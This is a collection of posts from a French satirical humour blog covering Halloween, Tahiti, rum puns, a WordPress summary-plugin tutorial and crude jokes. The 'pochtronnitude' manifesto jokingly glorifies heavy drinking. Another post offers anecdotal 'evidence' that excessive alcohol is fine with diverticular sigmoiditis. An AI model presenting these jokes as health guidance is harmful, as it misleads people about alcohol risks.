  Par Astaroth, ne peut-on comprendre que l’enfance est attirée naturellement par le mystère et les ténèbres ? On n’a jamais interdit la lecture de Harry Potter, que je sache, et pourtant J. K. Rowling ne se prive pas de cette ficelle. Par exemple, quand deux enfants rencontrent Lord Voldemort une nuit d’Halloween avant qu’il extermine une famille entière ou encore lorsque le même profane la tombe d’Albus Dumbledore…

  Que se passe-t-il si l’enfant rencontre le diable ?

  Il y a, vous le savez, deux formes de soumission à l’Archange déchu. Soit on signe devant notaire un joli parchemin avec son sang en guise d’encre. Mais allez donc trouver un notaire une nuit d’Halloween ! Soit on embrasse l’anus de Belzébuth. Rappelons que cet orifice est d’une puanteur atroce, qu’il est maculé de crottes et attire les mouches vertes. Quel enfant aurait l’envie de faire cela ? Non, on y voit plutôt une perversité propre à l’adulte si vous voyez ce que je veux dire.

  

  
  

  Conclusion

  Halloween est un échec commercial en France, c’est une fête importée, une manifestation insupportable d’incubes et de succubes entre 3 et 12 ans qui piétinent les valeurs nobles et morales du Bien et de la foi en le petit bon Dieu.

  Halloween est la résurrection d’une vénérable fête celtique qui a retraversé l’océan atlantique, une soirée solennelle durant laquelle les enfants peuvent se livrer à leur goût pour le travesti sinistre et les confiseries sous le couvert d’un monde inversé et le signe de l’offrande symbolique.

  Faut-il être pour ou contre Halloween ? Je laisse à chacune et chacun le soin de s’interroger en son âme et conscience : N’eussiez-vous pas aimé qu’Halloween existât quand vous étiez enfants ?

  
  

  Merci de votre attention.
  

  
  

  
  

  
  

  
• La vie est dure à Moorea

  Moorea, voisine de Tahiti, est une île absolument splendide – on ne le dira jamais assez. Selon Wikipedia, Olivier de Kersauson est du même avis. Si vous ne connaissez pas ce joyau, vous pouvez voir de modestes photographies dans Images de Moorea.

  En attendant, tout le monde est heureux sur Moorea, y compris les chiens.

  

  Ah oui, Mo’orea signifie le lézard jaune. Merci de votre attention.
  

  
• La pochtronnitude

  
  

  Avertissement : L’article qui suit appartient au registre de l’humour exécrable qui caractérise ce blog. Je n’aimerais pas que l’on me fît un mauvais procès. La pochtronnitude est une maladie grave qui fait souffrir l’entourage et conduit inéluctablement à une mort prématurée. Voici le processus exposé en ligne claire.
  

  
  

  

  Préambule

  Linguistiquement, Léon Gontran-Damas, Léopold Sedar Senghor et Aimé Césaire, tous trois chantres de la Négritude, ont ouvert la voie royale à quiconque prétend forger un nouveau concept. Ségolène ne s’y est pas trompetée qui aurait été ridicule en usant d’un suffixe en « -isme ». En effet, au-delà d’un simple mécanisme de substantivation, les mots marqués par le suffixe en « -itude » font un amalgame ingénieux entre le radical d’origine et l’attitude, mot-valise élevant qui s’en prévaut au statut de modèle.

  Position, posture, style de vie, oui, mais issus d’une réflexion, d’une démarche personnelle dont le fondement est un parti-pris existentiel. Prenons, par exemple, le mot « tafiole ». A cette injure basse témoignant de la précarité intellectuelle de l’imprécateur, et concernant une préférence sexuelle des plus anodines, répond le choix philosophique qui s’exprime de la sorte : « Peuh, moi, Môssieu, je ne suis pas une simple tafiole, je suis un penseur de la tafiolitude, moi, et va te faire enculer, pauvre bite ! »

  
  

  
  

  Nous allons créer pour notre compte, ici, maintenant et par le présent article, la notion de  « Pochtronnitude », en espérant que – sous cette bannière – défileront avec orgueil tous nos Frères – & Sœurs – de la surface du globe, y compris ceux, ou celles, qui se cachent dans les coins, pour rêver un monde meilleur où les pochtrons ont enfin leur vraie place.

  
  

  Les Prédécesseurs ?

  
  

  Deux versants s’offrent à nous. Tout d’abord, celui des humains, trop humains, « pochtrons célèbres » qui viennent à leur corps défendant étayer notre projet. On peut citer tout à trac et sans prétention à l’exhaustivité ni souci chronologique ou alphabétique : Socrate, Alcibiade, Antoine Blondin, Alain Bashung, Gustave Le Rouge, Charles Bukowski , Paul Verlaine, Jacques Villeret, Michel Leiris, Jack London, Philippe Léotard, Joe-le-Cocker, Marguerite Duras, Michel Simon, HK alias GLB, Romain Gary, Edgar Allan Poe, le Capitaine Haddock ou son créateur (on ne sait plus très bien), Serge Gainsbourg, Ernest Hemingway, Jean Carmet, Jim Morrisson. Et aussi, Wolfgang Amadeus et Carlos, le fils à Françoise Dolto. Mais ce dernier fumait de l’herbe par ailleurs, ce qui le range dans la cannabitude – à ce sujet, ce terme incongru est à même de réaliser une symbiose magnifique : fumeur de cannabis et consommateur de rhum agricole pur canne. Par ailleurs, nous n’avons pas cité Scott Fitzgerald qui, selon ses fans, ressortit plutôt de la tafiolitude, on ne peut pas tout mélanger.

  

  L’autre versant, c’est ce qu’on trouve sur le ouèbe en guise de mention. Deux Résultats seulement pour « pochtron(n)itude » sur google : Un gars qui parle sur un forum accessible uniquement aux inscrits d’un ministre nommé baloo ou quelque chose comme ça et un groupe d’ados qui rigolent bien avec une caméra. Citons-les au passage : http://www.pochtronunited.fr/

  
  

  Manifeste

  
  

  Bon, allons-y. La « Pochtronnitude » est une conscience de soi, en soi et pour soi, à l’aide d’une bouteille, en essayant de ne pas faire trop chier les autres. Si vous voulez rallier notre panache goupil, vous devez admettre que vous recherchez l’ébriété accentuée avec une fréquence respectable, ne tombez pas quand même dans la mathémattitude car quand on aime, on ne compte pas. Et surtout pas de faux-fuyant : Vous devez également avoir l’élégance de le reconnaître sans qu’on ait à vous le faire remarquer lorsque vous versez dans l’ivrognitude : « - Chéri, tu bois trop ! – Ça commence !». Vous devez être lucide ! Bannissez de votre discours toute forme d’échappatoire : « J’arrête quand je veux – je n’ai rien bu, pas ça – je ne bois pas trop, je bois assez – allez, juste un petit coup ». Car, la Pochtronnitude est un Art de Survivre et une Fierté même dans l’inconfort. Partons du principe énoncé, ci-dessous, par Michel Audiard d’après Blondin : « - Ah parce que tu mélanges tout ça, toi ! Mon espagnol, comme tu dis, et le père Bardasse. Les Grands Ducs et les boit-sans-soif.
  - Les grands ducs?!
  - Oui monsieur, les princes de la cuite, les seigneurs, ceux avec qui tu buvais le coup dans le temps et qu’ont toujours fait verre à part. Dis-toi bien que tes clients et toi, ils vous laissent à vos putasseries, les seigneurs. Ils sont à cent mille verres de vous. Eux, ils tutoient les anges ! » Un singe en hiver – propos de Jean Gabin alias Albert Quentin-sa-tonkinoise. »

  
  

  
  

  Les règles de vie de l’honnête pochtron

  
  

  Ce qui nous amène à définir quelques contingences en vue d’une adhésion pleine et entière à l’idéal de la Pochtronnitude, auxquelles il conviendra de souscrire sous peine d’être taxé(e) de déviationnitude  et surtout de renoncer à ce qui s’énonce comme la conduite recommandée à qui se targuerait d’être « honnête pochtron » :

  • Ce que tu bois, même en quantité déraisonnable, bois-le bien.
  • Préfère la qualité quand tu peux, si tu peux, enfin, bon, fais ce que tu pourras.
  • Quand tu es ivre, ne sois jamais triste et, si tel était le cas, reste dans ton coin.
  • Si tu es en manque, n’hésite pas à chercher ton bonheur, c’est légal ! La vente d’alcool est libre. Renseigne-toi sur les horaires d’ouverture.
  • Tu peux boire tant que tu veux mais cela implique que tu ne nuises à personne, c’est ta Fierté : ne conduis pas. N’utilise pas de tronçonneuse et ne te prends pas de querelle avec quiconque, familier ou étranger.
  • Quand tu vomis tes tripes, pense à tes amis de la pochtronnitude : Ça soulage, tu n’es pas seul. Statistiquement, 12 554 amis gerbent en même temps que toi à moins de mille kilomètres.
  • « Qui boit sans soif vomit sans effort ». C’est connu. Encore faut-il avoir mangé, tu verras à l’usage, c’est mieux.
  • Au moment où tu constates que tu as très mal à la tête le lendemain, réjouis-toi de ce que tu sais pourquoi. (Citation inspirée de El Pop, qui disait également : « Oh bah, le whisky, c’est mieux… Avec la bière, t’es obligé d’aller pisser toutes les cinq minutes. »)
  • Si tu penses que tu vas enfin réussir à cuire complètement ton cerveau : tu es sur le chemin de la vérité.

  
  

  Une imitation fervente de la déclaration de Césaire jette la base de la pochtronnitude. Il  suffit de remplacer « noir » par « pochtron » et voilà tout (comme disait Monfreid).  « La Pochtronnitude est la simple reconnaissance du fait d’être pochtron, et l’acceptation, de ce fait, de notre Destin de Pochtron, de notre Histoire et de notre Culture. »

  Je propose donc que toutes celles et ceux qui tremblent d’émotion, ou du palu de comptoir, puissent, avec nous, soutenir la grande promulgation de nos intentions à l’échelle planétaire :

  Si tous les Pochtrons du monde voulaient bien lever le coude en harmonie…

  Pochtronnes, Pochtrons, réclamons le RESPECT qui nous est dû ! C’est vrai, quoi ?

  Pochtronnes, Pochtrons de tous les pays, unissons-nous !

  On se met minable, d’accord. Mais nous ne sommes pas plus ridicules que les lépreux, les SDF, les lesbiennes, les sans-papiers ou les sarkozistes. Nous avons le DROIT d’être reconnu(e)s et, si nous sommes breton(ne)s, nous pourrons toujours alléguer une spécificité folklorique héréditaire ou alors on se débrouillera.

  
  

  La Pochtronnitude ethnocentrée à travers les âges

  
  

  Point de nécessité à recenser les multiples allusions au pinard de l’ancien Testament ou de textes plus anciens, elles sont apparentées au comique dit de répétition, je suppose. Il n’est pas question non plus de rendre compte de l’Antiquité grecque hormis Dyonysos et avec lui, tout ce qu’en dit Nietzsche. Parlerons-nous de Bacchus et des Patriciens banquetant qui caressent la rotondité d’une grappe ou d’un sein puis de saisir le cratère pour s’abreuver goulument en versant sur la toge à une époque où la machine à laver n’existait pas ? Pas davantage.

  

  Exception incontournable, Jésus Christ Super Star qui transforme l’eau en vin. Oui, vous avez bien lu. A ce titre, le « Fils de l’Homme » méritait l’ovation dont l’écho s’entend encore par-delà les millénaires jusque dans les espaces infinis, comme vous le dira n’importe quel radio-astronome.

  Sombre haut Moyen-Âge où l’on se pochtronne en Occident Chrétien sans avoir les moyens de le clamer sinon en assemblée et buvant dans le crâne des ennemis. Ce ne sont guère que les poèmes surgis en terre musulmane ou lointaine, du Moghreb aux Indes jusqu’en Chine, qui permettent d’imaginer l’engouement pour le vin de palme, le Raki ou le Sake, c’est selon.

  Début du bas Moyen-Âge, qui sont les « Héraults du Picrate » ? Ils sont légion. Je ferai bien une recherche sur internet qui serait plus sûre que ma mémoire à ce sujet (mais je ne vais pas faire tout le boulot non plus). Quel dommage que je sois ignorant et oublieux. En tout cas, il est certain que nos Joinville, Villon, Rutebeuf en pinçaient pour la bibine.

  Renaissance : Maître Alcofribas perce les siècles pour nous avertir : « A vous, buveurs très illustres… [& no comment] » jusqu’à la révélation finale de la dive bouteille que chacun sait. Relisez vos classiques et pour ceux qui ont la vision trouble, ce n’est pas grave, le message est sous forme de calligramme pour les analphabètes. Allons-nous négliger cette parole d’évangile humanisto-pochtronnante ? Non, bien sûr que non. Et nous ne renierons pas non plus les injonctions des Papes hérétiques qui proclamaient d’Avignon : « Bonum Vinum Laetificat Cor Hominis » ce qui signifie à peu près « Si le vin est bon, alors – et uniquement à cette condition –  il réjouit le cœur de l’homme ». À quoi bon être pape si c’est pour boire de la piquette, en effet.

  

  
  

  Conclusion

  
  

  Venez soutenir un Frère, visitez le blog de la Créature des Marais…en sirotant ce que vous préférez et, chemin faisant, posez un renard.

  Merci de votre attention et à la vôtre.

  

  Le médecin malgré lui, I, v, Molière

  SGANARELLE  : La, la, la… Ma foi, c’est assez travaillé pour un coup. Prenons un peu d’haleine.
  Il boit, et dit après avoir bu :
  Voilà du bois qui est salé comme tous les diables.
  Qu’ils sont doux,
  Bouteille jolie,
  Qu’ils sont doux,
  Vos petits glou-gloux!
  Mais mon sort feroit bien des jaloux,
  Si vous étiez toujours remplie.
  Ah! bouteille, ma mie,
  Pourquoi vous vuidez-vous?
  Allons, morbleu! il ne faut point engendrer de mélancolie.

  
• Toutes ces minoux sont en coaching à s’quêter

  Encore embêdée, cette vidéo dont l’humour consternant demande à être soutenu, dont acte… A l’origine, mon ami Huriau L.Q. (guitariste métal) me parle des hallucinations auditives, identification de fragments de chansons en langue étrangère dont la prononciation concorde à peu près à un phrasé français, évidemment burlesque, qu’on nous sert en karaoke. Allez regarder sur le net, j’ai pas le temps. Non content de me signaler cet exercice de style, Huriau reproduit avec talent quelques parodies qu’il a appréciées : Metallica « Nous battons des oeufs et cuit, cuit, ils sont dures ! » ou Youssou N’Dour : « Mon instrument, il est si long ! »

  Alors, dans la série, je cherche sur youtube et je tombe sur un duo de japonaises schoolgirls avec un sous-titrage aléatoire en français, particulièrement abscons mais bon, c’est là.

  
  

  
  

  Merci de votre magnanimité.

  
• Philippe Katrine partage la banane…

  Comme vous le savez, la CdM n’est pas coutumière de l’embedding, c’est-à-dire de l’intégration, insertion ou incorporation dans un post d’une vidéo issue de sites comme youtube, dailymotion et consorts. La CdM préfère publier ses propres vidéos et ne veut pas que son blog soit trop embêdé par tout ça. Toutefois, on aura pu remarquer des exceptions et en voici une nouvelle, le vidéoclip de Philippe Katerine bienheureusement intitulé : « la banane ». Laissons la parole à Philippe Katerine puis à la CdM.

  C’est si bon de rire… Je crois que toute la valeur de ce morceau naît de l’illustration vidéastique réussie d’un texte syncopé sur une composition bien rythmée. Voir ce chanteur légèrement bedonnant faire la ballerine sur la plage au soleil couchant me fait pisser de rire. Et puis, c’est vrai que le texte est conçu à souhait pour rester en mémoire. Le refrain avec la répétition d’une sobriété classique « Non, mais laissez-moi » sonne comme de l’anglais, l’information essentielle étant rejetée comme une révélation finale : « manger ma banane ». Les couplets témoignent sans répétition de la même pratique langagière, à preuve le décasyllabe initial « Non-je-ne-veux-plus-jamais  travailler ». Il paraît que l’artiste envisage de traduire son ouvrage, on lui souhaite un succès planétaire. Bref, je ne puis qu’admirer cette très belle réalisation. Bravo et merci, Philippe Katerine, non pas de nous vendre la banane mais bien de nous la refiler ! Plutôt crever que de ne pas t’écouter.

  Merci de votre attention.

  
• Languichatte Debordus

  Bonjour tout le monde. Je viens de découvrir un artiste haïtien tout à fait hilarant, il s’agit de Théodore Beaubrun alias Languichatte Debordus. Auteur, chanteur, comique et comédien au cinéma comme au théâtre, Languichatte était apparemment une personnalité remarquable et aimée de tous. Toutefois, sa présence sur le WEB est assez mince : 5 pages de résultats sur google et dans les articles le concernant qui sont davantage des entrefilets, beaucoup de renseignements qui se recoupent. La notoriété de Théodore Beaubrun n’est effective qu’aux Antilles et cela s’explique sans doute par le fait qu’il se soit exprimé en créole.

  

  Quoique relativement créolophone, la CdM qui saisit le texte dans son ensemble, a tout de même besoin d’une traduction pour comprendre la chute et donc le sel des plaisanteries de cet humoriste. Heureusement, il se trouve dans l’entourage cdèmesque des compatriotes de l’artiste. Alors, vous pouvez entendre ci-dessus un des sketches de Languichatte en français. Hélas, c’est nettement plus comique quand il blague en créole…

  J’ignore la date et le lieu de naissance de Théodore Beaubrun. Son premier spectacle date de 1942 et son décès suite à la maladie de Parkinson eut lieu en 1998.

  

  Merci de votre attention.

  
• L’auto-médication à la française

  Il est notoire que les Français sont un peuple qui chérit sa propre compétence. Ainsi, le « Français » chez le médecin n’attend pas un diagnostic mais plutôt la prescription que lui délivre le médicastre et correspond à son idée personnelle du traitement. Comme chez l’épicier : « Alors, vous me mettrez de ceci, de cela et puis un peu de cela aussi car je n’en ai plus et cela ne me va pas plus mal… »

  Retenons les paroles sages de Papy Dudu, feue l’éminence grise de ce blog, qui suivait les conseils de Rika Zaraï corrigés par Serge Gainsbourg : « La santé par les plantes, la vigne et le tabac ! »

  Et donc, encore une vidéo stupide…

  
  

  
  

  Merci de votre attention.
  

  
• Le persil du perce-oreille

  Du perce-oreille, nous dirons qu’il appartient à la famille des forficulidés et qu’il est déjà d’une sale engeance. D’ailleurs, si vous essayez de rugir son nom forficula auricularia, vous verrez, ça fait peur. Pis que tout, il est polyphage et lucifuge. Fallait pas l’inviter… Concernant le persil, je vous laisse chercher par vous-même les horreurs à découvrir qu’offrent les ressources insoupçonnées du web parce que j’ai des choses plus sérieuses à faire, ces jours-ci.

  Toutefois, je vous propose un instant de poésie et une recette de cuisine.

  Qui ne songerait au dormeur rimbaldien dont les « pieds baignent [...] dans la [...] verdure. » ? Bon, ça, c’était pour l’instant de poésie. Passons à la recette.

  

  
  

  Perce-oreille sur son lit de persil

  
  

  Personnellement, je crois qu’un plat réussi tient aussi à la qualité des ingrédients et il est essentiel que les produits soient frais. Donc, pour 6 personnes :

  • 6 perce-oreille du Mozambique (les plus longs et les plus juteux, avec ce côté friand)
  • 1 tige de persil géant d’Anatolie (le plus fort et le plus ample, qui redonne vigueur aux centenaires)

  Placez l’insecte fraîchement écrasé sur une feuille de persil et voilà. Avec une belle présentation et un petit verre de poire de Mongolie, vos invités seront séduits.

  La prochaine fois, je ne sais pas de quoi parler. Si vous avez des idées, laissez-les dans un commentaire, cela m’aiderait. Merci de votre attention.

  PS : le nom du perce-oreille est purement mythique. Cette bestiole est également auriculophobe.
  

  
  

  
• Comment faire un sommaire pour son blog

  ATTENTION : Cet article s’adresse uniquement aux personnes qui ont un blog wordpress. Les autres peuvent aller se reposer.

  Enfin, une occasion de se rendre utile… Je cherchais depuis quelques temps comment faire un sommaire pour son blog wordpress.

  C’est vrai quoi ? Les visiteuses et les visiteurs peuvent toujours naviguer en parcourant les catégories ou cliquer sur un numéro en bas de page qui les amène sur une page d’articles antérieurs mais que faire s’ils veulent consulter une liste chronologique du titre des articles, éventuellement assortie d’un extrait ? Ou encore avoir l’intégralité du blog sur une seule page ?

  La solution existe à partir d’un plugin intitulé Post-Lister. Les possibilités de configuration sont nombreuses et permettent de proposer à vos lectrices et lecteurs ce fameux sommaire des articles ou cette autre page où s’affichera votre blog dans sa totalité de l’article le plus récent au plus ancien.

  Bien entendu, ceci concerne seulement qui a l’habitude d’ajouter des plugin  à son blog wordpress. Pour commencer télécharger le plugin à cet endroit. Puis le déziper. Transférer le dossier post-lister vers votre dossier wp-content/plugin avec Filezilla, par exemple. Activer le plugin via la page plugin de votre tableau de bord.
  

  Pour la suite, vous avez le choix. Vous pouvez ajouter le plugin dans une sidebar en intégrant le widget depuis la page widget (la configuration se fait à partir de la fenêtre du widget). Vous pouvez également insérer un brin de code dans un article ou dans une page… Pour ma part, j’ai créé deux pages nouvelles. SOMMAIRE qui présente l’ensemble des titres d’articles dans l’ordre inverse de la chronologie.

  ATTENTION : j’ai ôté le dernier crochet de chaque code pour qu’il ne soit pas fonctionnel dans cet article. N’oubliez pas de l’ajouter quand vous le placez sur votre post.

  Le code à intégrer pour la liste complète est d’une simplicité enfantine : [wlist limit=-1. On peut spécifier des options. Par exemple, un nombre restreint d’articles [wlist limit=10, la date [wlist showdate=true ou les premières lignes de l’article [wlist showtext=50 et, cela va de soi, il est loisible de combiner les réglages [wlist limit=10 showdate=true showtext=50. Bref, on peut bidouiller ce qu’on veut et il suffit de lire le fichier texte pour connaître l’ensemble des options.

  Pour la page L’INTEGRALE qui autorisera votre lectorat à consulter l’intégralité du blog, ce n’est pas plus compliqué : add new page. Donner un titre. Taper [wlist limit=-1 showtext=all directement dans la page et c’est fait. Je recommande au passage de paramétrer vos pages à partir de l’option Attributes en choisissant 1column page (no sidebars) ce qui accélère le chargement.

  
  

  En espérant que cet article puisse satisfaire le plus grand nombre de wordpresseuses et wordpresseurs, je vous remercie de votre attention.
  

  
• Encore un article inutile

  NB : Pour une fois, on ne s’est pas senti obligé d’illustrer… ni de mettre des liens. Rien que du texte et, en plus, d’un intérêt médiocre. Comme d’hab’, rien pas changé.
  

  
  

   » A quoi sers-je et qui ? Finalement, comme un tas de blogueurs et une floppée de blogueuses, à rien du tout et c’est pas plus mal, grâce à Dieu… » Cette déclaration faite devant tout le comité du Aidez-Ouam au grand complet dénotait peut-être une amertume passagère ou une crise mystique de notre bien-aimée CdM, rassurez-vous complètement, mais alors complètement, il n’en était rien car elle a poursuivi – livrant pour notre délice une part de ses pensées intimes : « Vous comprenez, ce blog est un défouloir, j’y livre incontinent mes idées éparses sans souci d’une quelconque solution de continuité… mais voilà que, de temps à autre, je jette une couille sur les stats et là, je déprime un peu… Non seulement, le blog n’a que trois visiteurs par jour, mais aussi je ne peux pas même satisfaire à leur attente ou quoi. Au hasard, parmi les requêtes googlesques qui les amènent, un florilège.

  pâtisserie bite de pâtissier : Soit, j’ai mis une photo sur ce blog d’un étron pâtissier, comestible de fait, étrange de forme, de Fab K. (auquel je suis lié par des raisons mystérieuses). Or, je ne l’ai pas fait méchamment et surtout, surtout, cela n’implique nullement que je pétrisse quotidiennement quoi que ce soit en la matière, non ?

  Polynésiennes poilues du c*l : Je ne me serais jamais, ô grand jamais (comme dit Pierre Bellemare qui n’a pas l’intelligence de la langue), permis de montrer un c*l poilu ou non de Polynésienne sur ce blog ? Au pire, le mien, mais chacun fait ce qu’il veut de son Q.I., c’est pas pareil.

  Anus de cochon d’inde : Le champ des connaissances qui m’interpellent est si vaste qu’il excède, et de beaucoup, ma volumineuse personne, il est vrai. Toutefois, si je ne me suis jamais penché, intellectuellement s’entend, sur l’anus du cochon d’inde, c’est parce qu’une histoire de hamster avec du chatterton m’a convaincu que la perversité humaine est sans limite et je ne souscris pas, même avec offre gratuite.

  J’admets que lorsque qu’un internaute soucieux, et le cas – sous des formules variées – atteint le nombre symbolique de plusieurs, demande : « Peut-on boire de l’alcool quand on a une sigmoïdite ? » Eh bien, je puis apporter un élément de réponse.

  Alors, pour tous ceux qui veulent savoir si l’on risque la mort subite du nourrisson en buvant des spiritueux après une bonne première alerte (concernant la profusion des diverticules qui décorent en 3D la dernière section de votre intestin avant l’extrémité du rectum sur les radios), je puis affirmer ceci : Mes amis, je m’enfile cinq fruits par jour dans les narines, des petits, cinq légumes par jour si ce ne sont pas des choux-fleur par la voie que je trouve, tout en buvant des boissons alcoolisées avec excès, depuis l’alerte il y a deux ans, et je ne suis pas mort – ça vaut ce que ça vaut. Le Aidez-Ouam aura l’obligation morale de vous prévenir s’il en était autrement et que je ne sois pas moi-même en mesure de vous confirmer l’effet néfaste d’une consommation excessive pour les diverticulés du sigmoïde ou les sigmoïdiens du diverticule, et je reste poli.

  Pour finir, je recommande à toutes celles et ceux qui n’ont pas encore assimilé la nocivité de certaines choses de s’abstenir pendant 30 ans. Juste pour voir. Merci de votre attention ».
  

  
  

  
• L’expulsion des rhums

  La CdM ne donne que rarement son avis en matière de politique gouvernementale, réservant ses facéties à des sujets anodins, mais il est des choses qui fâchent… Et je le dirai sans barguigner : je suis farouchement opposé à l’expulsion des Rhums ! Les mesures prises par l’actuel gouvernement à l’encontre de cette noble boisson sont iniques, inadmissibles, incohérentes et tout adjectif commençant par un préfixe négatif.

  Comment ? Ce nectar qui embellit l’humeur et titille le penchant à la divagation, on le chasserait sans vergogne sous je ne sais quel médiocre prétexte d’extra-territorialité ?

  Duquesnes des cerveaux malades de nos dirigeants émane la mauny qui consiste à faire franchir plus de trois rivières dans un galion ailé au fleuron de nos spiritueux ? Quelle cour vile soutient l’idée absurde que cette mesure soit juste de les renvoyer Là-bas ? Quelle est la favorite qui peut s’enticher d’un damoiseau préoccupé seulement de sa réélection ? Quel sinistre Hardy ourdissant la manoeuvre est devenu pour ce Laurel un transfuge abjectement clément envers ses adversaires d’hier ? Neisson(s)-cela, une telle entreprise en dit long sur la moralité de ses initiateurs !

  Longueteau, je me suis bu des petits coups de tafia. J’ai vu Bologne en maillot jaune, regardé monter belle eau à la crique des mornes escarpés, pris refuge au domaine de Bellevue ou de Séverin selon l’heure, là où, par St James, tout n’est que depaz, luxe et volupté.

  Aussi me questionnais-je : Ont-ils coulé une bielle ? Faut-il qu’il soient Charrette ? En tout cas, si je suis sur la liste, pitié qu’on reimonenq !

  Voilà, tafiateuses et tafiateurs, mes amis : Regardez les images de ces rhums lâchement honnis (dans la galerie en pop_up ci-dessous) et si vous les rencontrez, ne les laissez pas dans la mélasse, invitez-les chez vous. Ils sont rhums et c’est leur nature. ils vous donneront leur coeur de chauffe !

  
  

  Cliquez ici pour la galerie des expulsables

  
  

  PS : Avec la précipitation du blogueur qui veut publier, il semblerait que j’ai commis une petite erreur d’interprétation de l’actualité, due vraisemblablement à l’homophonie. Le gouvernement français stigmatiserait plutôt les Roms… Acceptez mes excuses pour cette bévue incompréhensible. Pour me rattraper, j’avoue que je suis aussi contre l’expulsion des Roms (même si je n’en ai jamais goûté).

  PPS : On s’étonnera peut-être qu’amoureux de la Guyane, je puisse omettre de mentionner La Belle Cabresse ? Je suis refait, c’est-à-dire fait deux fois, mais je confesse que j’ai toujours pensé que ce liquide servait à nettoyer les pare-brise. Si j’ai cité Charrette – qui est idéal également pour décaper le vernis, c’est parce que c’est un rhum réunionnais et qu’eux, au moins, ils savent l’arranger. Et puis, je ne suis pas nationaliste pour cinq sous (de tafia).

  PPPS : Notre prochain article concernera les CD-Roms. Merci de votre attention.

  
• Car wash

  Vous vous souvenez la dernière fois où on avait fait une vidéo stupide ? Eh ben là, on a fait pareil, une vidéo stupide…

  
  

  Merci à Gilles et de votre attention.
  

  
• Cigar box guitar par Marcelus Wallace

  Un petit article rapide à propos d’un luthier insolite qui préfère qu’on l’appelle bricoleur du dimanche : Marcelus Wallace de Houaïlou en Nouvelle Calédonie et qui vit en France ! Aucun rapport avec un individu quasi-éponyme, gangster à qui il arrive une mésaventure déplaisante dans Pulp fiction. Non, cet homme dont nous parlons est Marcelus Wallace qui confectionne des instruments de qualité à partir de boites à cigare, comme celle qui figure ci-dessous avec son aimable autorisation.
  

  
  

  

  
  

  Marcelus fréquente le gratin des amateurs de bestioles à cordes, notamment lors du Blues Festival de Cognac (je crois). Voici une vidéo de M.W. qui présente quelques unes de ses oeuvres.

  Quoi qu’il en soit, allez visiter le site de Marcelus : il y a de belles images, des liens sympathiques, bref ça vaut le détour, ne serait-ce que le temps de s’instruire sur les Cigar Box Guitars…
  

  
• Promenade à Venise

  La Polynésie, c’est un peu loin de Venise. C’est pourquoi nous vous présentons les photographies de MMB avec son aimable autorisation. Cliquez sur la photo puis sur Launch ! et attendez le chargement des photos. Ah oui, ouvrez la fenêtre en plein écran, c’est plus joli…
  

  
  

  

  
  

  Merci à MMB pour ces belles images et merci à vous de votre attention.
  

  
• 44=BZH

  La preuve : le premier mail d’anniversaire vient de Brest pour les 44 ans de la CdM !

  
  

  

  
  

  PS : Les deux mails d’anniversaire suivants sont signés la Redoute et les 3 Suisses… Merci de leur attention.
  

  
• Le générateur de bio

  Evidemment, cela ne fait pas forcément rire tout le monde mais, pour ma part, j’ai trouvé ce générateur de bio très rigolo. Cette farce anodine émane du compère Lolobobo, homme aux talents multiples, dont vous pouvez parcourir la revue de stress ou encore les nouvelles de l’atelier (utile pour les ouèbemasteurs ou webmaistresses avec un fouet).
  

  J’ai testé pour vous et voici le résultat : la CdM épinglée dans Li monde, Trom et Voiça au format PDF.
  

  Si, vous aussi, vous voulez votre bio dans ces trois publications prestigieuses, voyez ci-dessous.

  
  

  Le generateur de biographies devenez une star en 5 minutes

  
• Achat boules chinoises en Guyane

  Venant de consulter les statistiques de ce blog, je m’aperçois que le nombre des visites s’élève à 973 pour le mois d’août. Nous sommes le 31 et il est presque 20 heures. Bon… Incidemment, je consulte les formules de recherche qui ont attiré ici l’espace de quelques secondes les internautes égaré(e)s et je tombe sur cette admirable requête : Achat boules chinoises en Guyane.

  
  

  Oui, vous avez bien lu et je fais quand même un copié-collé : Achat boules chinoises en Guyane ! Derechef surgissent, idée suave et double, du fond de mon grenier, les boules chinoises de mon Grand-Père pour le délassement des mains et de l’esprit. Ce sont des boules qui contiennent un machin qui modifie leur centre gravité et font un bruit cristallin. Ce serait souverain pour la prévention du rhumatisme articulaire. Vous ne disposez vraisemblablement pas d’assez de loisir pour entendre ce que je voudrais dire de mon Grand-Père et moi non plus. Je me rabats donc sur les boules.

  Voulant illustrer joliment cette anecdote (car je vous rappelle que les boules chinoises de mon Grand-Père sont dans mon grenier de ma Guyane alors que je suis à Tahiti) , je baguenaudais sur le net cueillant les images et puis, crac, je tombe sur cette page hilarante de musculation des orifices dont j’ai eu envie de détourner l’encart le plus cocasse, il traite des boules de geisha mais allez voir l’original, c’est meilleur…

  
  

  A lire avec l’accent chinois utilisé dans les guignols de l’info pour que ça paraisse vaguement comique.

  « Boules sinoises: Gomplèdement maboules!

  Dabiez-bous que les boules sinoises, ou boules de geitas n’ont dulement bour effet de faire douire les femmes qui se les ingèrent? En fait, celles qui bénètrent deux boules sinoises dans leur badin, le font uniquement dans le but de tonifier l’ensemble du bérinée et des tfingters. On gommence avec deux grosses boules buis avec le demps et la force badinale, on passe à deux betites boules beaucoup blus lourdes que les grosses. Moi, de mets au défi n’imborte quelle néobyte d’aller se bromener avec une baire de mini-boules dans le badin… Bous rizquez de les boire déguingoler bar derre au moindre bas – ou édernuement!
  (ndlCdM: Parce qu’en plus, elle n’a pas de culotte quand elle est en promenade)
  En blus de donifier votre done dénitale, les boules ztimulent aussi la lubrificazion. Pinies, les bannes sèches! Ah,les geishas, elles ont plus d’un dour dans leur obi!« 

  J’en viens à me demander si celles qui font dans le gadget sexuel chez « Au féminin » ne sont pas des puceaux frustrés et salaces… Au passage, j’annonce solennellement à la personne qui veut acheter des boules chinoises en Guyane que je ne suis pas vendeur. Et si quelqu’un se propose pour acheter la boule unique de la Créature des Marais et désire l’enfourner quelque part, je souhaite que cela ne soit pas de mon vivant.

  
  

  Merci de votre attention.

  
• Rat mort

  La locution anglaise I smell a rat signifie plus ou moins Je flaire un piège. Et quoi d’autre pour nos rats que ces maisons où veillent les yeux sournois de Lucifer (cf. Jack l’explique fort bien à Gusgus dans Cendrillon).

